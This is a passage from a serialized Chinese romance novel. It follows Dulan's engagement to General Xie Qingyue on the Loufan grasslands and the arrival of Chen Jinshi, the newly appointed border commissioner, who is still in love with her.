谢小将军是极好的,他也接受自己是她退而求其次的选择。 她抬眼,正好对上谢清樾望过来的目光,那目光里带着笑意,还有藏不住的认真。她没有躲闪,捧着装了满满羊肉的碗,最终还是轻轻“嗯”了一声。 跟三年前一样,她的想法并没有发生改变。 人生哪有十全,人生没有十全。 就如同她教导陈锦时的那样。 陈锦时同样在他没有十全的人生里过着,活着。 那么,都兰,谢小将军在这里,你已经该知足了。 谢清樾见她这副模样,笑着应下:“阿兄放心,往后我定会好好待她,不过这信,还是得往家里去一封的。” 牧仁颔首:“应当的。” 第二天一早,谢清樾果然没耽误,天刚亮就写了信,托人往京里送。 生怕过了阵子都兰改主意似的。 “营里的兵卒快马加鞭回京城,应该大半个月就能到,一来一回不过一月功夫。若是夏秋之交办婚事,那会儿草还是绿的,天气也舒服。” 都兰手里的木耙顿了顿:“这样吗?也好。” 谢清樾顿了顿,小声道:“会不会太急了?都兰,你随时可以喊停。” 都兰眼底漫起温柔的笑意,忽然觉得好笑,手里的木耙又动起来,将羊毛摊得平平整整。 她道:“谢小将军,男人有时候,需要强硬一点。” 她觉得陈锦时跟谢清樾简直是两个极端。 谢清樾动作一顿:“我只是怕……”他走上前,接过都兰手里的木耙,认真地帮她摊开羊毛,“要不,晚上你进我屋子里来,先看看我,若是觉得不满意……” 都兰奇怪地瞥了他几眼, 才想起三年前的一句戏言。 说来说去,还不都怪陈锦时,瞎比个什么。 她又不在意那个的。 “谢小将军,有些人是中看不中用的。” 她嘴角噙着笑,忍不住戏谑。 谢清樾握着木耙的手一顿,随即明白过来都兰话里的意思,耳尖“唰”地红了。 傍晚时分,苏赫与沈清沅回到部落,刚进毡房,就看到谢清樾正帮着牧仁修补棚圈的木栅栏。 沈清沅拉着都兰的手问长问短,牧仁连忙给谢清樾使眼色。 晚饭时,毡房里的灯盏亮了起来,映得每个人脸上都暖融融的。 马奶酒过了三巡,谢清樾放下筷子,这才张口,声音带着几分郑重的颤抖:“伯父,伯母,牧仁阿兄,阿嫂,还有都兰,我知道我是从京城来的,或许跟楼烦的男子不一样,但我向你们保证,往后我会像牧仁兄一样,护着都兰,护着这个家,部落里的事、家里的事,我都会尽全力分担。” 苏赫眼神沉沉地看着谢清樾:“楼烦的男子最重要的便是担当,要护住一家老小,就算护不住,也要重整行装带着剩下的家人勇往直前。你是你们朝廷的人,我不太信任你。” 谢清樾端着酒碗的手一顿,心中的底气还是下去了些。 “伯父,当今圣上对楼烦部落态度不明,朝上确有几个老臣称‘蛮夷要以狠力压之’,但当今太子显然有意推行‘柔远能迩’,去年泰赤乌部遭雪灾,朝廷派来的赈灾粮,便是太子力主调拨的。我留在楼烦任职,一半是为军中差事,另一半,也是受朝廷所托,护着边境部落安稳。” 都兰正摇着拨浪鼓逗侄女笑着,忽然攥紧了把手,垂下眼睫。 当初她与太子说的那些话不过是随意说说,她站在己方利益,并不认为太子会认可。 却没想到,一切竟真往她想要的方向进行。 苏赫轻嗤了一声:“你们朝廷有什么打算别以为我不知道,先给两个甜果子吃了,往后便要从我们这里得到更多!” 都兰扯了扯父亲的袖子,轻声劝道:“父亲,不管怎么说,咱们这儿是先得到利益的一方,您太执拗了。” 老一辈的人都是这样,绝不轻信外人,宁愿封闭起来自己过自己部落的日子。 “伯父,我知道您心里的顾虑,换做是我,也不会轻易信一个外人,朝廷将来的打算我管不了,但我谢清樾在这里一天,就坚决守护你们,绝不受半分来自朝廷的压迫。” 苏赫瞥了眼谢清樾,瞪了眼女儿:“哼,你就向着他说话吧。” 沈清沅道:“不说那些大事,光是咱们家这三年可就承了谢公子不少好处,你对人家态度好点。” 苏赫很听妻子的话,刚刚还一脸凶相的脸,瞬时变得温和:“他若是来咱们家吃饭、睡觉,我绝对是宰牛宰羊欢迎,可他要来娶我女儿,我还能笑嘻嘻的?” 牧仁忙上前打圆场:“先听我说一句,我做个担保,谢小将军绝不是个坏人!” 都兰轻轻笑出声。 谢清樾看见她笑,连忙接话:“绝对的!” 剑拔弩张的气氛松快了不少,但苏赫仍不能完全放下戒心。 谢将军是何人,是随时能带着官兵把他家杀得个片甲不留的人。 他女儿跟了他,要是受欺负了,娘家人真是一点忙也帮不上。 苏赫坐回座位,端起酒碗猛灌了一口:“都兰,我不是听你说,在京里还有个相好吗?要不你再选选。” 这话一出,牧仁和图雅都捂着唇轻笑起来,只有谢清樾脸色难看。 都兰手里的汤勺“当”地碰到碗沿,脸颊唰地红透,嗔怪地看了苏赫一眼:“阿爸,说什么呢。” 自己从前只是喝多了的时候不小心说漏嘴过一次,她阿爹倒好,动不动挂在嘴边。 “行了,这事儿我今天不答应。” 苏赫一挥手,算是宣判今日定论。 牧仁偷偷朝谢清樾耸了耸肩,谢清樾巴巴地望着都兰,还朝她笑。 “没事,伯父,我会继续努力的。” 图雅抱着小儿子起身:“时候不早了,孩子们该睡了,都兰,你跟我来,我给你看看新织的羊绒毯。” 第二日一早,谢清樾已经回营去了,穿着新靴子。 沈清沅问都兰想要什么样花色的被面,她替她操持。 都兰望着一望无际的尚且还是褐色的草原,忽然觉得没有意思。 “都行吧,都行。” 都兰话音刚落,就被图雅从身后拍了下肩。 “什么叫‘都行’?你忘了去年部落里娜仁出嫁,那被面织得在太阳底下跟会发光似的,你当时看的眼睛都直了。” 小侄女伸手要抓都兰垂在胸前的发辫,都兰笑着弯腰,任由她攥着。 她忽然有了兴致:“那要织上格桑花,再掺点金线。” “这才对嘛!”图雅从毡房里拎出半袋染好的羊毛线,色彩鲜艳极了,“我叫牧仁去镇上捎点新染料回来,保准染出来的你喜欢。” 都兰接过一绺艳红的线,这样暖暖的红令她心里一动:“咱们今天去河边看看冰融得怎么样了,捞点鱼回来晚上烤着吃吧。” 沈清沅立刻应和:“好啊!我这就去拿竹篮,再带上点馕饼。” 都兰把红毛线往旁边一丢,弯腰抱起揪着她发辫笑的小侄女,大步往外走去:“走咯,去河边抓鱼咯!” 其其格被她晃得咯咯直笑。 沈清沅拎着竹篮跟在后面,笑着跟图雅道:“你看她,一说玩就浑身是劲,前儿还蔫蔫的呢。” 图雅道:“阿爸也是,早晚都是要同意的,何必非得较那个劲,搞得谢小将军也怪沮丧的。” 沈清沅道:“苏赫有自己的打算,部落里还有几个小伙子,他打算让都兰再选选。” 图雅一愣,沈清沅已经走上前去。 “咱们先把嫁妆备好,管她之后要嫁谁呢。” 两人说话的功夫,都兰已经抱着其其格走很远了。 一晃又是两月功夫,楼烦的草彻底绿了,风一吹,便掀起层层浪似的草坡。 都兰骑着马,身后跟着蹦蹦跳跳的其其格,其其格手里牵着几只刚学会走路的小羊羔,往河边的牧场去。 她看着其其格,突然想起另一个她看着长大的小女孩儿。 忽然觉得,锦衣玉食好似比不上这样的自由自在。 但楼烦的冬天是真冷,其其格能活蹦乱跳,锦云却不能。 锦云会穿着绣满金线的袄子,坐在雕花木椅上,怯生生地看她。 刚到河边,其其格已经脱了毡鞋,下河淌水去了。 都兰翻身下马,叮嘱其其格当心河里的碎石。 就见河对岸闪过几个熟悉的身影,是部落里的几个男子,正牵着马往这边走,马背上驼着刚割的新草。 巴图老远就挥着手喊:“都兰!听说谢小将军刚收到了京里寄来的信,正往你家走呢,你还不快回去。” “姑姑!你看我抓的鱼!”其其格举着小鱼跑上岸,冻得通红的小脚踩在草地上。都兰连忙蹲下身,用帕子擦干她脚上的水。 都兰抬起头应了巴图一声。 其其格又蹲到河边看小羊吃草,都兰提醒她:“其其格,把鞋子穿上,别光着脚。” 两人在河边玩了一会儿,远处有人喊他们回去。 喊他们的是图雅,她挎着竹篮站在坡上,扬声笑道:“都兰,谢小将军在毡房里等你呢,还带了京里捎来的蜜饯,其其格要不要吃?” 其其格一听“蜜饯”,立刻蹦起来,拽着都兰的衣角往坡上跑,刚穿上的毡鞋踩得青草沙沙响。都兰跟在后面,看着侄女扎着小辫的背影,想起方才巴图说谢清樾收了京里的信。 进了毡房,暖意混着奶茶香扑面而来。谢清樾正坐在炉边,脸上扬着笑意。 看来他家里给他回的信令他很满意。 “我母亲还问你了。” 都兰诧异抬头:“谢夫人问我什么了?” “问你在楼烦住得还习不习惯,若是不习惯,婚后可以回京城去。” 说着,谢清樾垂下了头,都兰能看见他微红的耳尖。 虽说苏赫还不同意婚事,但大家都知道,那是早晚的事。 何况这回从京中还带回了一个消息。 “皇帝驾崩,太子玄澈上位。” 都兰帮图雅卷着羊毛线的手指微微收紧,三年前,太子逼她在深夜离开的景象仿佛近在眼前。 当初听太子口风,太子有意将陈锦时归为近臣培养,如今想必那人更 是风光无限。 都兰很想向谢清樾问一句他,但始终未能出口。 谢清樾见她指尖顿在羊毛线上,眼睫垂得很低,好像知道了她心里在想什么。 “新帝上位后,太子党官员都得了擢升。有关北境的新政,想必之后会陆续降下来。” 都兰捏着毛线团,指腹反复摩挲着粗糙的羊毛,终是没有将更多问题问出口。 她想起三年前在相国寺的银杏树下,他红着眼说:“没有你的地方,都是绝境。” 瞧,他如今不也把这绝境走通了吗。 什么绝境不绝境的,本就没有谁是离不开谁的。 苏赫正好回来,大步迈进毡房,谢清樾立马站起身,恭恭敬敬地垂首:“我家里寄来的信,聘礼单在这儿,聘礼已经在路上了,箱笼重,走得要慢一些。” 苏赫轻轻哼了一声,但还是坐下,接过礼单翻看起来,都兰打量他,见他一边看,一边勾起了唇角。 都兰轻轻摇着头,看来命运已定。 她一向随命运而走,如此也好。 太和殿的金砖泛着冷光,陈锦时身着青色圆领袍,立于百官之列,目光落在阶下那方通体鎏金的铜鹤上,指尖稳稳攥着笏板。 新帝玄澈端坐龙椅,近侍太监展开明黄圣旨,尖细的嗓音穿透殿内沉静: “奉天承运皇帝,诏曰:原翰林院编修陈锦时,昔年伴读东宫,深察朕心。今北境需推‘柔远’新政,特擢尔为楼烦抚边使,兼领边军都监事,总辖部落互市、边军整饬,掌宣布德意,抚安齐民,修明政刑,兴革利弊,考群吏之治。望尔以新政安边,以实绩固疆,钦此!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-65 第61章 北境苦寒,远离中枢,这实在不算一个好差事。 陈锦时进士出身,又是新帝一手提拔,年纪在朝上算是最轻的,做事利落又漂亮,大可留在翰林院走储相之路。 玄澈未尝没有劝过他,仍然如他所愿,对他降下“恩赏”。 退朝后,他随皇帝入御书房。 “朕只给你三年期限,三年后,你当回朝。” 陈锦时垂首,面目较三年前要冷厉得多。 “皇上,三年后臣可以回来,只是皇上得许臣一道恩典。” “你放肆!” 陈锦时非但没有跪下,反倒站得更直,这三年来,他为玄澈做了不少事,足以成为他的底气。 沈樱给玄澈留下的那个陈锦时,恰好是乖顺的那个。 照他说来,玄澈该感恩,对阿姆大大的感恩。 皇帝手中的朱笔“啪”地搁在御案上,墨汁溅出几滴,明黄龙袍下的手,却未真的摆出行罚的姿态。 陈锦时迎着帝王的目光,眼底是藏不住的执拗。 玄澈轻笑一声:“要朕给你们两个赐婚,你就好光明正大地娶她,你倒是想得美,倒是让朕背了个不顾伦常的骂名,叫世人说朕荒唐。” 陈锦时顿了顿,声音放低:“臣不是求的这个。” 娶是要娶的,不过他并不打算让别人替他背骂名,他奉圣旨娶了他的阿姆,叫世人看着反倒是他无辜。 他向来是个敢作敢当的人,只要皇帝不罚他,这样违背伦常的事情,他做就做了,他正大光明地做。 只是不知道,三年过去,那人还在等他吗? 玄澈猛地抬眼,像是从未看清眼前的人。 “那你要什么?” “臣要陛下允诺,三年后若新政在楼烦落地,众部落愿归心,便永久减免楼烦三成贡赋,且许他们自选部落首领,朝廷只派官督导,不直接辖制。” 他想,沈樱大抵想要这样的结果。 “你可知这意味着什么?”帝王指尖点着御案,“朝堂老臣会说你‘通敌’,说你助长部落气焰,到时候,朕要保你,都得费一番力气,更别说提拔你。” 玄澈喉结动了动,想起三年前与她在马车车厢里,她说:“楼烦人大多不愿归顺,但若被朝廷真心当做自己人,便愿意配合朝廷做些事。” 御书房里静了片刻,拿起朱笔,在一张空白的纸上落下一个“准”字,墨迹力透指背,随后“唰”地一下扔给陈锦时。 “朕给你这道恩典,也给你三年时间。若是成了,你回朝,朕给你吏部尚书的位置;若是不成……” “若是不成,臣愿永不回朝。”陈锦时接过圣旨。 玄澈轻笑,咧着嘴讽刺:“你倒想得美。朕要砍你的头!” 楼烦的风总带着股野劲儿,四月里还卷着残雪。 刮得都兰家毡房的毡帘“啪嗒啪嗒”直响。 都兰正蹲在炉边搅奶茶,铜壶里的奶沫翻涌,混着砖茶的焦香,将毡房里的寒气散了些。 谢清樾坐在一旁,手里削着木楔子,要给棚圈加固。 昨夜的风雨压塌了一角,羊群差点被压在下面。 “听说朝廷要派个抚边使过来,权力给得大,叫巡抚也不为过,应该过些日子就要到了。” 前几日谢家送来的聘礼刚到,苏赫看过聘礼,感受到远在京城的谢家的心意,见之并不敷衍,才松了口。 苏赫说过些日子便给两人办个订婚的席,把周边几个部落的亲戚朋友都叫过来聚一聚。 楼烦人是极重视订婚宴的,在真正举办订婚宴之前,谁也不能称为都兰真正的未婚夫。 “巡抚?什么巡抚!”苏赫粗声粗气地问道。 都兰手里的铜勺也顿了顿。 苏赫正挑了十条羊子出来,准备宰了给都兰办席,另外还有两头牛。 谢清樾用白话给他解释:“就是朝廷派来管咱们楼烦事务的官。” 苏赫重重哼了一声:“我们楼烦有各自的部落首领管,用得着朝廷来管?” 谢清樾削木楔的动作没停,笑着道:“您别担心,朝廷这次是讨好咱们来的,就是初来乍到的巡抚,也得哄着乡亲们行事才行呢。” 苏赫道:“管他什么官儿,要想在咱们地界上做事,先给乡亲们一家发十头牦牛再说!” 都兰起身给苏赫倒了碗热奶茶:“只要咱们楼烦能有个安稳日子过,不用被两边官兵赶来赶去的欺负就行。” 谢清樾终于停下手里的活,将木楔子放在地上,拉住她的手细细安抚:“放心,只要有我在,绝不会再让你们一家受委屈。” 都兰反倒笑出声,也没抽出手,朝苏赫说道:“十头牦牛值多少钱呐,要真能一家发十头,那朝廷可真是对咱们掏出心窝子来了。” 苏赫接过奶茶,却没喝,眉头依旧皱着:“我不是说气话!前些年来了个什么官,说要管我们,张口就要我们每户多缴两头羊的贡赋,说是什么边疆防务费。后来赵将军出来交涉,才把那人给赶到他们并州衙门里去。” 他放下碗,提起刀往羊圈走,“这次来的小子若是还敢胡来,我就一刀把他砍了!” 都兰摇摇头,表示不认同:“人家是朝廷命官,阿爸,我可不想你被捉去砍头。” 苏赫提着刀往羊圈走时,脚步却放轻缓了些,显然是没那么气了,家里马上要办喜事,他才不管什么巡抚不巡抚的。 圈里的羊是去年秋末从湖边赶来的羯羊,毛发光顺得像揉过的羊绒,他在羊群里转了两圈,挑出最壮实的三头,绳子往羊犄角上一缠,却没立刻拉走,反倒伸手摸了摸羊背。 按楼烦 的规矩,订亲席上的肉得让“福气人”来宰,得是家里儿孙满堂、夫妻和睦的长辈,图个新人往后日子安稳。 他心里已经盘算好,午后就去隔壁部落请额吉娜仁过来,娜仁不仅会宰羊,还会用羊血做查干伊德,是楼烦出了名的巧手。 毡房里,都兰已经把铜壶里的奶茶倒出来,晾在一旁温着。 她从木箱里翻出一块靛蓝色的毛毯,是前年苏赫去呼城换盐时给她带的,边缘绣着卷草纹,是汉人绣娘的手艺。 按规矩,订亲时女方要给男方送毛毯,上面的摆上奶豆腐和风干肉,叫压桌礼。 谢清樾从土灶里掏出几个烤得焦黑的土豆,拍掉灰递给都兰:“先垫垫肚子。京里又来了信,说我大哥和二哥已经在往楼烦来的路上了。” 都兰点点头:“阿爹说下个月先给我们办订婚宴,等秋天再办婚礼。” 对楼烦的人来说,冬天到来之前,都算很好活的日子,一到了冬天,纵是再富贵的人家,都得屯够粮食、干柴和草,然后窝起来过冬,至于出门乱走,那不是开玩笑的。 谢清樾把烤土豆掰成两半,自己咬了一口:“那正好,还能赶在第一场雪前,咱们把自己的毡房挪到山坳里,选个你喜欢的位置,冬天住着暖和。” 都兰笑着咬了口土豆,绵密口感混着炭火焦香,暖了心口。 “等你哥哥们来了,咱们一起去湖边打黄羊。” 谢清樾抬手,注视着她的笑眼,得到允许一般轻轻放在她的头上,轻轻揉了揉:“好。” 正说着,毡帘被风吹得“啪嗒”响,苏赫牵着三头羊从外面进来,羊蹄子踩在毡毯上,留下几个浅浅的印子。他把羊拴在毡房角落的木桩上,擦了擦手:“娜仁傍晚就到,要跟咱们一起吃饭。你们两个去西边那片坡上摘些沙棘回来,熬成酱。” 都兰“噢”了一声,站起身,披上外衣便要出去,谢清樾跟上她。 楼烦的四月,坡上的沙棘刚结出小小的橙红果子,带着几分酸涩。两人提着竹篮,踩着没过脚踝的青草,走得慢悠悠。 谢清樾时不时弯腰,帮都兰拨开挡路的带刺枝条。 “我大哥来信说,京里这段时日不太平,老臣们似乎与新帝政见不合,老跟他对着干。” 都兰许久未听过这些事了,也从未主动打听过。 新来的巡抚是谁谢清樾也不知道,但大抵猜测,是皇上身边极信任的近臣,应当是新人,不会是朝上那些老东西。 都兰轻轻“嗯”了一声,对此事没多少猜测。 太子即位,天下万民皆是他的臣民,皆要对他俯首。 当初赶她回楼烦的正是太子,是如今的当权者太子。 “陈锦时”才更像是一个已经远去的梦。 当权者宣判她应该摆脱的情意,她怎敢再肖想。 只能,再也想不起他,再也不会想起他。 “不管怎样,只要咱们把自己的日子过安稳了就行。” 谢清樾点点头:“是啊,等咱们订完亲,我就跟阿爸学鞣制羊皮,给你做件新的羊皮袄,冬天骑马打猎就不冷了。” 都兰也点头:“好,那我就去打最大的那只黄羊,给你做个毛领,配你那身铠甲,好看得很。” 两人说说笑笑,竹篮很快就装满了沙棘果。 回到毡房时,娜仁已经到了,正和苏赫在羊圈旁说话,手里还提着一皮囊马奶酒。 见他们回来,娜仁笑着扬起酒囊:“都兰,陪我喝点。” 都兰摆手,说晚点再喝。 “我先去把沙棘果熬了。” 其其格凑过来,要吃桌上的奶豆腐,图雅不在,谢清樾一把将她拎到膝上:“要吃哪一块?” 其其格指了指最边上那块:“要方方的那个!” 谢清樾把奶豆腐细心掰成小块,递到她嘴边,还不忘叮嘱:“慢点吃,别噎着。” 小姑娘嚼得腮帮子鼓鼓的,脆生生道:“姑父,你生得真好看。” 都兰正往铜锅里倒水,闻言回头笑,谢清樾耳朵尖都红了。 他这些年,其实一直有点自卑来着。 自己如今长得太黑了,在军营里历练得身材太过魁梧,一点也不秀气。 都兰好像喜欢漂亮的男子。 娜仁凑过来,捏了捏其其格的脸蛋:“咱们其其格眼光好着呢!可是,这个人还不是你姑父呢,你可别乱叫。” 都兰把沙棘果倒进铜锅,拿着木勺搅了搅,盖上盖子。 走过去弯腰捏了捏其其格的脸蛋:“他哪里生得好看了?” 其其格鼓着腮帮子道:“姑父的皮肤红红的,亮亮的,牙齿白白的,就好看。”她说着,伸手去摸谢清樾的脸,“而且姑父的手臂粗粗的,硬硬的,能把其其格托在肩上。” 图雅正回来,看见小女儿张嘴就乱说,正要把她拉下来,都兰却忍不住笑出声。 谢清樾更加局促了。 也只有小孩子会认为他身上的这些是优点了。 都兰刮了刮她的小鼻子:“就你嘴甜,等会儿给你吃烤饼。” “好耶!”其其格欢呼着搂住都兰的脖子,又偷偷回头冲谢清樾眨眼睛。 朝廷派来的巡抚,比谢家两兄弟到得还早。 他好似没乘皇帝给他安排的车驾,还无视了一路等着招待他的县令,骑着马,飞快奔到了楼烦大地。 虽然正是春天,楼烦一年中最好的季节。 风仍裹着沙粒,打在马背上簌簌作响。 陈锦时停在山坡上,勒住缰绳,□□的黑马打了个响鼻,蹄子在草地上刨出浅坑。 玄色披风被风吹起,露出里面绣着暗纹的官袍,墨发再也不会被风吹得打在脸颊上,或是随着发带随风飞舞,而是整整齐齐束在了水澹嵌珠的紫金冠里。 比三年前更显冷硬的眉眼,正望着这广阔无边的茫茫大地。 风从遥远的戈壁卷来,漫过连绵起伏的矮坡,坡上刚冒芽的青草稀稀拉拉,像被大地随手撒下的碎绿,在风中瑟缩着贴紧地面。 极目望去,天是压得很低的灰蓝,与地平线处的土黄色草原融成一片,分不清哪里是天,哪里是地,只有几棵枯黑的沙棘树孤零零立着,枝桠扭曲如爪,像是要抓住些什么,却只抓住满世界呼啸的风。 这是一个人间至寂寥的地方,也是一个人间至美满的地方。 皆在一人罢了。 没有飞鸟,没有走兽,只有风不知疲倦地穿梭,卷起沙粒打在岩石上,发出沙沙的响,像是这片土地在低声叹息。 这里的空旷,不是开阔的舒展,而是连光阴都仿佛被拉长的寂寥。 今日的青草会枯,明日的毡房会迁,连朝廷派来的官、部落里的人,都像是风中的沙,不知会被吹向何方。 天地这样大,人这样小,每个人的命运,都像这草原上的草,看似自由,却早已被风与土地,刻下了无法挣脱的轨迹。 陈锦时也不知道,自己就这么来了,命运会将他带去何方。 阿姆,可以给我指条路吗? 身后跟着的两名随从赶上来,低声道:“大人,要不要先去并州知府通报一声,叫他们接待。” 楼烦的地界之下,属朝廷管辖的边城是并州,并州以外,便是孤独自由的楼烦大地。 陈锦时身为巡抚,他的巡抚衙门便在并州城内。 只是他来得太早了,知府只怕还没接到消息。 “不必,先回衙门。” 随从愣了愣,连忙催马跟上。 他们跟着陈大人从京城一路北上,早已摸清这位大人的脾性。 向来只重实效,不看虚礼。 马蹄踩过刚冒芽的青草,惊起几只跳鼠,倏地钻进地洞没了踪影。陈锦时勒住马,目光落在前方那顶挂着晾晒羊毛的毡房上。 此处还在并州边界,不算深入楼烦,他摇了摇头,那不可能是她家。 他实在想她。 只因她一句“勿念、勿寻……”。 时至今日,那些思念忽然涌出来,他攥着缰绳,心口浪潮翻涌。 那些强压在心底的思念,此刻像挣断锁链的野兽,疯了似的啃噬着他的五脏六腑。 三年了,一千多个日夜。他以为自己够冷静,够克制,可真站在此地,想象着她或许就在离他不远的地方笑着、立着。 所有的伪装和“听话”都碎得一干二净。 黑马被他勒得焦躁地刨着蹄子。 疼得他几乎喘不过气。 “阿姆……”他喉结滚动,声音带着自己都未察觉的颤抖,“我来了。” 风更猛了,卷起他的玄色披风,像一面破败的旗帜。 他调转马头,声线冷静:“回衙门。” 七日后,并州知府府内传来丝竹之声,空气里都飘着酒肉的香气。 知府江之昀穿着最高规格的官袍,领着一众属官候在门口。 自巡抚大人抵任,只在衙门处理公务,拒了所有应酬,今日这接风宴,还是底下人软磨硬泡,又以“需与巡抚大人商议边境防务”为由,才请动这位天子近臣陈大人。 日头偏西时,一队人马终于出现在街口。 陈锦时骑在黑马上,青蓝官袍外罩着玄色披风,周身围着一队护卫官兵,好一个威风凛凛。 他睨视众人,脸上依旧是那副冷硬模样。 随从翻身下马,刚要通报,江之昀已快步上前,拱手请道:“巡抚大人,府内已备好薄宴,还请移步。” 陈锦时一直走到门口,才勒停马,目光扫过一众官员,在谢将军脸上停留片刻,淡淡颔首。 “不必多礼,先谈正事。”说罢,他翻身下马,径直往里走。 江之昀连忙跟上,擦了擦额上的汗。 京里新派来的这位抚边使大人,原是从二品,皇上特地给他加了兵部侍郎衔,可见其信重。如今是正二品,总揽并州与楼烦之地军政、民政、司法、监察,此人可算是江之昀顶头上司。 进了正厅,宴席已按规制摆开。 陈锦时落座主位,按品级,谢清樾如今也比他低上不少,坐在离他有些距离的末席。 谢清樾自愿守疆,而不是留在京中听家人安排,如今自然认可自己官阶不如陈锦时。 他本也不在意这些,只是见到对方有些惊诧,一时怔在原地。 陈锦时也瞧见了他,目光从他脸上扫过,心口像是被刺狠狠扎了一下。 他面上不动声色,只端起茶盏抿了一口,淡淡开口:“都坐下吧。” 丝竹声响起,江之昀先举起酒杯起身:“大人初到并州,一路劳顿,下官先敬您一杯。” 陈锦时抬手虚扶,语气平静:“本官此来,只为落实新政,安抚部落,这些,都离不开谢将军兵马配合。” 他端起酒杯,朝谢清樾举了举。 谢清樾同样举起酒杯:“大人言重了,只是下官的兵马,只对敌人出手,从不伤及百姓。” “自然。”陈锦时颔首,指尖摩挲着杯沿,话锋一转:“听闻上月塔木部落与边城守军起了冲突,缘由是盐车被扣?” 提及公务,谢清樾敛起神色, 江之昀抢先道:“他们盐车要入并州,上月守军见他们盐车超载,只是按规矩扣了一半,没成想他们当场就动起了手,啧,这北方蛮夷是不太好管制。” 陈锦时眉梢微挑,没说对此事满不满,只冷冷看向江之昀:“江知府,本官来告诉你皇上即将要推行的新政,往后部落采买盐、粮,只要不违反规制,不许苛责,若是对方运力不足,官府还须出面协调帮助,务必让他们感受到朝廷的诚意。” 江之昀擦了擦额上冷汗,连忙应下:“是,下官明日就去安排。” 江之昀从陈锦时嘴里察觉到新帝的意思,似是为了找补自己方才的立场,忙捡着话来说:“部落里与咱们的关系早不像前些年那么紧张了,大家平日里相处起来都是极友好的。就像咱们这位谢将军,下月初六与苏赫家女儿订亲,陈大人到时候也去喝杯喜酒。” 陈锦时捏着酒杯的手指猛地收紧,杯沿几乎要嵌进掌心。 方才还清晰的话语声像是被隔了层厚厚的毡布,嗡嗡作响。 他脑子里一片空白。 “苏赫家的女儿,是谁?” 谢清樾沉沉看了他一眼,起身拱手:“苏赫是楼烦西北部答兰部落的首领,他膝下只有一个女儿,名为都兰。” 陈锦时垂眸,眼底翻涌的惊涛骇浪被掩得严严实实。 再抬眼时,那点失态早已被压成了深不见底的平静。 他将杯中酒一饮而尽,酒水顺着喉咙滑下,却浇不灭心口的灼痛,只淡淡朝谢清樾颔首,语气听不出丝毫波澜:“既是喜事,本官若得空,自会去凑个热闹。” 她教他的体面做人、体面处事,时至今日,他已有足够的能力融会贯通。 满意吗?阿姆。 话音落下,他甚至还朝谢清樾举了举杯,像是在真心道贺。 只有他自己知道,此刻此刻胸腔里像是被狂风卷过的草原,荒芜一片,连带着那些支撑他走到这里的念想,都碎成了无法拼凑的沙砾。 他强撑着坐直身子,指尖依旧稳稳摩挲着杯沿,仿佛只要维持住这副镇定的模样,就能骗过所有人,包括那个在心底早已溃不成军的自己。 宴席后半程,陈锦时再未多言,只静静听着谢清樾与江之昀商议边境布防,偶尔颔首。 席散时,天色已暗,他拒绝了江之昀安排的住处和美人,独自回去。 黑马踏着石板路,蹄声“嗒嗒”,在寂静的夜里格外清晰。 原来楼烦于他而言,真的只是一片寂寥—— 作者有话说:本作者不语,只一味静待发疯现场 第62章 他的脑海里反复回荡着。 “都兰” “都兰” 他忽然勒住马,黑马焦躁地刨了刨蹄子,冷硬的眉眼间终于泄露出一丝脆弱。 他无数次想象过重逢的场景,却从没想过,再次听到她的消息,竟是她要成为别人的新娘。 风卷着夜的凉意灌进领口,他却感觉不到冷。 他应该听她的话,三年前就听她的话。 阿姆一向不喜欢不听话的孩子的,他怎么就忘了呢? 他自顾自地追来,便只有活该面对这样的寂寥。 他是乖孩子,他也不该把她的生活、她的选择搅得一团糟。 对吗? 他如今站在楼烦大地上,像个做错了事的孩子。 她会怪他不告而来吗? 他会令她难做吗? 风卷着沙粒,打在脸上生疼,陈锦时却像没察觉一般,只是低头望着黑马的鬃毛。那鬃毛被风吹得凌乱,像极了他此刻的心绪。 随从见他停在原地,连忙上前:“大人,可是身体不适?” 陈锦时回神,抬手揉了揉眉心,声音恢复了往日的冷厉:“无事,回衙门。” 随从跟着往前,却听他忽然问道:“答兰部落在哪儿?” 随从闻言一愣,随即躬身回话:“大人,答兰部落远在楼烦腹地,快马要一日路程。” 陈锦时勒着马缰的手紧了紧,黑马似是感受到主人的焦躁犹豫,又不安地刨了两下蹄子。 随从又道:“大人,去答兰部落前要先过黑风口,听当地人说,那地方沙砾跟刀子似的,过了风口还要绕开一片沙丘,大人从京城来不知,白日里沙丘会跟着日头挪位置,稍不留意就会走岔,夜里还常有狼群出没,若是要去,得多带些兵马跟着。” “嗯。” 天刚蒙蒙亮,草原的风还带着夜的凉意,都兰掀开毡帘,给自己套上温暖的毡靴,踩着沾着露水的青草走出来。 走到羊圈旁,解开栅栏,羊群“咩咩”叫着涌出来,踩着草叶往远处的坡地去。 她手里提着竹篮,弯腰捡起地上的羊粪蛋。 这是最好的燃料,晒干后烧起来无烟,还带着草木的气息。 回到毡房时,苏赫已生好了火。 铜壶在土灶上“咕嘟”作响,砖茶的焦香混着奶味漫出来。 都兰放下竹篮,从粮袋里舀出半碗炒米,倒进煮好的奶茶里,又拿了块奶豆腐,用小刀切成方块摆在木盘上。 这些不过是他们一家日复一日的平常生活。 饭后,她搬着小木凳坐在毡房门口,手里拿着羊毛线团和织针。 这是去年秋天剪的羊毛,经过清洗、晾晒、捻线,如今要织成厚实的羊毛毯,到时候拿到新家的毡房去用。 阳光慢慢爬高,落在她手上,羊毛线在指尖穿梭,偶尔有风吹过,而她身上披着厚实的,牦牛毛织成的围巾,便觉得十分幸福满足。 牧仁说,谢清樾这几日都不来了,新来的巡抚到了,衙门里事多,恐是要商量一些公务。 都兰也没觉得有什么,本来谢清樾往常也在她家待不了多长的时间。 大概一个月也只能抽出两三天的时间来她家住。 苏赫在一旁哼笑道:“倒是不知道新来的巡抚是个什么人。” 牧仁道:“等谢小将军来了,你问他也就是了。” 部落里的日子还照常过着,答兰部落是个小部落,苏赫是首领,但并没有管多少人。 直到几日后的清晨,都兰刚把羊群赶到坡地,就见部落口来了两个穿着官服的人,骑着马,手里捧着一卷赤色的文书。 苏赫已经闻讯赶过去,毡房外很快围了些好奇的族人。 “苏赫首领,奉巡抚大人之令,特来告知,官 府在几大部落设互市,部落可凭牛羊、皮毛换取盐、粮、铁器,我们朝廷会派专人维护秩序。” 两位官兵交代了一番事宜,骑着马便要赶往下一个部落了。 苏赫接过文书,眉头渐渐舒展:“这倒是个好事。” 有人搓着手念叨:“这下可方便了,我家那把镰刀早钝了,改天拿到泰赤乌部便能换。” 都兰站在坡上,看着底下人一边欣喜,一边怀疑这其中会不会还有什么坑等着他们跳下去,手里的鞭子拿着轻轻晃了晃。 她心里泛起一阵异样,这新政与她三年前大着胆子跟太子提的差不多。 